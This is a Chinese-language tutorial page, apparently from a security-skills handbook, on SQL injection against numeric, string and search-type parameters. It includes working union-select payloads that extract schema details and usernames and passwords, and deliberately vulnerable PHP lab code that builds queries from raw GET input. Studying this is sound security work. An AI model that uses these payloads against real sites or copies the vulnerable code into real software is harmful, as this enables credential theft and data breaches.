> For the complete documentation index, see [llms.txt](https://ninjia.gitbook.io/secskill/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ninjia.gitbook.io/secskill/web/sql/type_sql.md).

# 1.1.1 type注入利用

本文对三种注入点类型进行讲解

* 数字型
* 字符型
* 搜索型

## 数字型注入点

在 Web 端大概是 <http://xxx.com/news.php?id=1> 这种形式，其注入点 id 类型为数字，所以叫数字型注入点。这一类的 SQL 语句原型大概为 select *from 表名 where id=1。组合出来的sql注入语句为：select* from news where id=1 and 1=1

这里注入点往往没有任何的技巧，使用最基础的注入流程即可、

附上一份简单的注入点代码：

```
<?php
$con=mysqli_connect("localhost","root","root","fendo");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from user where id =".$id);
while($row = mysqli_fetch_array($result))
{
echo $row['username'] . " " . $row['password'];
echo "<br>";
}
?>
```

## 字符型注入点

在 Web 端大概是 <http://xxx.com/news.php?name=admin> 这种形式，其注入点 name 类型为字符类型，所以叫字符型注入点。这一类的 SQL 语句原型大概为 select *from 表名 where name='admin'。注意多了引号。组合出来的sql注入语句为：select* from news where chr='admin' and 1=1''

闭合单引号chr='admin' union select 1,2,3,4 and '1'='1 ====> chr='admin'(闭合前面单引号) union select 1,2,3,4 and '1'='1'

如何判断是否是字符型注入

测试注入语句是：

> xx' and '1'=1--' xx' and '1=2--'

如果第一个页面正常，而使用第二个的时候页面出现错误则，该url可以进行字符型注入

payload:

> <http://www.xxx.com/3.php?username=admin'union> select 1,column\_name,3,4 from information\_schema.columns where table\_name='表名' and table\_schema='数据库名
>
> <http://www.xxx.com/3.php?username=admin>' union select 1,username,3,4 from user--+

注意闭合单引号即可！

给出测试代码：

```
 <?php
$name=$_GET['username'];
$conn=mysql_connect("127.0.0.1","root","root");//连接mysql数据库
if($conn){
echo "连接数据库成功!"; 
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库（fendo）
$sql="select * from user where username = '$name'"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){ 
echo "用户ID：".$row['id']."<br >";
echo "用户名：".$row['username']."<br >";
echo "用户密码：".$row['password']."<br >";
echo "用户邮箱：".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为："."<br >";
echo $sql;
?>
```

## 搜索型注入点

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:

其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入

原理

> $sql="select \* from user where password like '%$pwd%' order by password";

这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password，正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢？

> 'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样

> select \* from user where password like '%fendo'and 1=1 and '%'='%' order by password

存在SQL注入。

搜索型注入判断 判断搜索型注入的方法： 1 搜索keywords‘，如果出错的话，有90%的可能性存在漏洞； 2 搜索 keywords%，如果同样出错的话，就有95%的可能性存在漏洞； 3 搜索keywords% 'and 1=1 and '%'='（这个语句的功能就相当于普通SQL注入的 and 1=1）看返回的情况 4 搜索keywords% 'and 1=2 and '%'='（这个语句的功能就相当于普通SQL注入的 and 1=2）看返回的情况 5 根据两次的返回情况来判断是不是搜索型文本框注入了 下面这几种语句都可以:

```
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
```

给出payload

```
%' union select 1,column_name,3,4 from information_schema.columns where table_name='表名' and table_schema='数据库名' and '%'='


%' union select 1,username,password,4 from user--+
```

数字型没啥具体要求，字符型和搜索型注意前后的单引号和百分号的闭合即可，在爆数据方面都可以使用--+来注释后面的语句来进行获取数据。

测试代码

```
<?php
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","root");//连接mysql数据库
if($conn){
echo "连接数据库成功!"; 
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库（fendo）
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){ 
echo "用户ID：".$row['id']."<br >";
echo "用户名：".$row['username']."<br >";
echo "用户密码：".$row['password']."<br >";
echo "用户邮箱：".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为："."<br >";
echo $sql;
?>
```
